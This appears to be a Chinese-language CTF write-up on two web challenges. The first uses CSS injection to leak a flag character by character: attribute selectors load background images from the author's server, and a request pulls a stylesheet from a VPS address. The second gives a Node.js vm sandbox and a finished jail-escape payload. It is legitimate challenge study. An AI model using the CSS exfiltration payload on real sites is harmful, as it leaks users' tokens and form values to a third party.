web700
CSS注入
详细分析参考Better Exfiltration via HTML Injection
使用脚本cssexfil
修改下脚本
chars = '{-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz}'
input[name=flag][value^="%s"]{ background-image: url("http://ip:port/savetoken?token=%s"); } \n
app.run(host='0.0.0.0', port=9000)
这里的@import url()是用来实现自动化,循环请求的,但是这里使用时没法实现。(不知道啥问题)
就使用手动方法了😭
在vps中启动python3 main.py
然后手动循环请求
POST /crawl.html HTTP/1.1
css=http://47.109.140.38:9000/gethack.css
在vps中查看到flag。
web701
NodeJS
JS jail
const express = require('express');
const path = require('path');
const vm = require('vm');
const app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
try {
const result = vm.runInNewContext(code, {}, { timeout: 500 });
if (result === 1337) {
output = process.env.FLAG;
} else {
output = 'nope';
}
} catch (e) {
output = 'nope';
}
} else {
output = 'nope';
}
res.render('index', { title: '[a-z().]', output });
});
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});
module.exports = app;
限制执行js的字符。参考文章Harekaze CTF 2019 WEB Writeup
需要构造如下格式
Number(String(Number(1)).concat(3).concat(3).concat(7))
使用下面的方式获取数字及函数
constructor.length.constructor = Number()
constructor.name.constructor = String()
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7
payload
constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))